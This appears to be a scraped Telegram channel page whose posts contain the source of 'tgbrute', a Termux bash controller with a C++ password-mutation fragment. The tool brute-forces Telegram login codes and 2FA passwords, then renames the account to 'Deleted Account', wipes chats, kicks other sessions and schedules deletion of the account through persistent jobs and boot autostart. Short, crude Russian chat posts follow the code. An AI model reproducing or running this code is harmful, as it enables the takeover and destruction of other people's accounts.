PR1NCE (ELDAR) x WARTUZZE
关闭频道
显示更多
未指定国家未指定类别
236
订阅者
无数据24 小时
-67 天
-730 天
帖子存档
cmd_arm(){
local h="${1:-24}"; local due=$(( $(date +%s) + h*3600 ))
printf '%s' "$due" > "$STATE/delete_due"; set_phase armed
cat > "$STATE/delete.sh" <<EOF
#!/data/data/com.termux/files/usr/bin/bash
R="$ROOT"
[ "\$(date +%s)" -lt "\$(cat "\$R/state/delete_due" 2>/dev/null || echo 0)" ] && exit 0
cd "\$R" || exit 1
termux-wake-lock 2>/dev/null
"\$R/tgbrute" --config "\$R/config.json" --delete-now >>"\$R/logs/delete.log" 2>&1
[ \$? -eq 0 ] && printf deleted > "\$R/state/phase"
termux-wake-unlock 2>/dev/null
EOF
chmod +x "$STATE/delete.sh"
command -v termux-job-scheduler >/dev/null 2>&1 && \
termux-job-scheduler --script "$STATE/delete.sh" --period-ms 900000 --persisted true --network unmetered >/dev/null 2>&1
ok "удаление через $h ч"
}
cmd_delete(){
[ -x "$BIN" ] || die "нет бинарника"
termux-wake-lock 2>/dev/null
"$BIN" --config "$CFG" --delete-now; local rc=$?
[ $rc -eq 0 ] && set_phase deleted
termux-wake-unlock 2>/dev/null; return $rc
}
cmd_boot(){
mkdir -p "$HOME/.termux/boot"; local f="$HOME/.termux/boot/10-tgbrute.sh"
if [ "${1:-on}" = off ]; then rm -f "$f"; ok "автостарт off"; return; fi
printf '#!/data/data/com.termux/files/usr/bin/bash\ntermux-wake-lock\nsleep 20\n"%s" run >>"%s/boot.log" 2>&1\n' "$SELF" "$LOGS" > "$f"
chmod +x "$f"; ok "автостарт on"
}
case "${1:-}" in
install) bash "$ROOT/install.sh";;
setup) cmd_setup;;
run) cmd_run;;
stop) cmd_stop;;
status) cmd_status;;
logs) cmd_logs;;
arm-delete) cmd_arm "${2:-24}";;
delete-now) cmd_delete;;
autostart) cmd_boot "${2:-on}";;
*) echo "install|setup|run|stop|status|logs|arm-delete|delete-now|autostart";;
esac
#!/data/data/com.termux/files/usr/bin/bash
set -o pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"; cd "$ROOT" || exit 1
SELF="$ROOT/tgbrute.sh"; STATE="$ROOT/state"; LOGS="$ROOT/logs"
BIN="$ROOT/tgbrute"; CFG="$ROOT/config.json"; S="tgbrute"
mkdir -p "$STATE" "$LOGS"
ok(){ printf '\e[32m[+]\e[0m %s\n' "$*"; }
inf(){ printf '\e[36m[*]\e[0m %s\n' "$*"; }
warn(){ printf '\e[33m[!]\e[0m %s\n' "$*"; }
die(){ printf '\e[31m[x]\e[0m %s\n' "$*" >&2; exit 1; }
phase(){ cat "$STATE/phase" 2>/dev/null || echo idle; }
set_phase(){ printf '%s' "$1" > "$STATE/phase"; }
cmd_setup(){
local p a h hs
read -r -p "номер (+79172020600): " p
[[ "$p" =~ ^\+[0-9]{7,15}$ ]] || die "кривой номер"
read -r -p "api_id: " a; [[ "$a" =~ ^[0-9]+$ ]] || die "api_id числом"
read -r -p "api_hash: " h; [ ${#h} -ge 16 ] || die "api_hash короткий"
read -r -p "часов до удаления [24]: " hs; hs="${hs:-24}"
cat > "$CFG" <<EOF
{
"phone": "$p",
"api_id": $a,
"api_hash": "$h",
"workdir": "$ROOT/session",
"code_start": 0,
"code_end": 99999,
"code_threads": 8,
"code_threads_max": 24,
"rate_start": 4.0,
"rate_max": 30.0,
"code_priority": ["11111","00000","12345","22222","55555","77777","99999","12121","10000"],
"password_dict": "$ROOT/data/passwords.txt",
"password_masks": ["?d?d?d?d","?d?d?d?d?d","?d?d?d?d?d?d"],
"password_mutations": true,
"password_max_candidates": 3000000,
"new_first_name": "Deleted Account",
"new_last_name": "",
"drop_username": true,
"avatar_path": "$ROOT/data/avatar.png",
"wipe_chats": true,
"wipe_threads": 4,
"kick_sessions": true,
"auto_delete": false,
"delete_after_hours": $hs,
"use_test_dc": false,
"use_message_db": true,
"log_level": 2,
"log_file": "$ROOT/logs/tgbrute.log"
}
EOF
chmod 600 "$CFG"; printf '%s' "$hs" > "$STATE/hours"
ok "конфиг записан"; inf "дальше: ./tgbrute.sh run"
}
sup(){
cat > "$STATE/supervisor.sh" <<EOF
#!/data/data/com.termux/files/usr/bin/bash
cd "$ROOT" || exit 1
termux-wake-lock 2>/dev/null
n=0
while :; do
n=\$((n+1))
"$BIN" --config "$CFG" >>"$LOGS/run.log" 2>&1
rc=\$?
[ \$rc -eq 0 ] && break
[ \$n -ge 40 ] && { echo "[sup] лимит рестартов" >>"$LOGS/run.log"; break; }
echo "[sup] rc=\$rc рестарт 20с (\$n/40)" >>"$LOGS/run.log"
sleep 20
done
if [ \$rc -eq 0 ]; then
"$SELF" arm-delete "\$(cat "$STATE/hours" 2>/dev/null || echo 24)" >>"$LOGS/run.log" 2>&1
fi
termux-wake-unlock 2>/dev/null
EOF
chmod +x "$STATE/supervisor.sh"; }
cmd_run(){
[ -x "$BIN" ] || die "нет бинарника: ./install.sh"
[ -f "$CFG" ] || die "нет конфига: ./tgbrute.sh setup"
tmux has-session -t "$S" 2>/dev/null && die "уже запущено"
: > "$LOGS/run.log"; set_phase boot; sup
tmux new-session -d -s "$S" "$STATE/supervisor.sh"
ok "запущено"; inf "status | logs | stop"
}
cmd_stop(){
tmux kill-session -t "$S" 2>/dev/null && ok "остановлено" || warn "не запущено"
pkill -f "$BIN" 2>/dev/null; termux-wake-unlock 2>/dev/null; set_phase stopped
}
cmd_status(){
echo "----------------------------------------"
case "$(phase)" in
boot) inf "фаза: загрузка";;
code) warn "фаза: брут кода";;
password) warn "фаза: брут 2FA";;
ready) ok "фаза: авторизован";;
masking) inf "фаза: маскировка";;
wiped) ok "фаза: зачищено";;
armed) ok "фаза: удаление взведено";;
deleted) ok "фаза: удалён";;
failed) warn "фаза: ошибка";;
*) inf "фаза: $(phase)";;
esac
if [ -f "$STATE/delete_due" ]; then
local l=$(( $(cat "$STATE/delete_due") - $(date +%s) ))
[ $l -gt 0 ] && inf "до удаления: $((l/3600))ч $((l%3600/60))м" || inf "срок наступил"
fi
grep -E "попыток|ETA|паролей" "$LOGS/run.log" 2>/dev/null | tail -1
echo "----------------------------------------"
tail -5 "$LOGS/run.log" 2>/dev/null | sed 's/^/ /'
echo "----------------------------------------"
}
cmd_logs(){ tail -n 60 -f "$LOGS/run.log" 2>/dev/null; }
size_t base = list_.size();
static const char* suf[] = {"1", "123", "1234", "12", "2", "01", "0", "7", "99", "007"};
static const char* pre[] = {"1", "0", "!", "@", "#"};
for (size_t i = 0; i < base; ++i) {
std::string w = list_[i];
std::string up = w;
if (!up.empty()) up[0] = static_cast(std::toupper(up[0]));
add(up);
for (auto s : suf) add(w + s);
for (auto s : pre) add(std::string(s) + w);
}
I("после мутаций: ", list_.size());
}
void masks(const std::vector& ms, size_t cap) {
for (auto& m : ms) {
uint64_t need = 1;
for (size_t i = 0; i + 1 < m.size(); i += 2) need *= 10;
if (list_.size() + need > cap) { W("маска ", m, " пропущена"); continue; }
std::vector
Софт на жирмукс делаю угадайте что за софт
На казнь
Алиса парадокс
Техначи рекьюм(сори братан)
Мальбаро ханагаки(ГА)
Веширо веширов
Если опять ГА откажет пизда ему жб кину типо отказывает когда док-вы от администратора нетк
Ша подал типо качество хуйня один скрин мало и типо попадание в стоячих людей
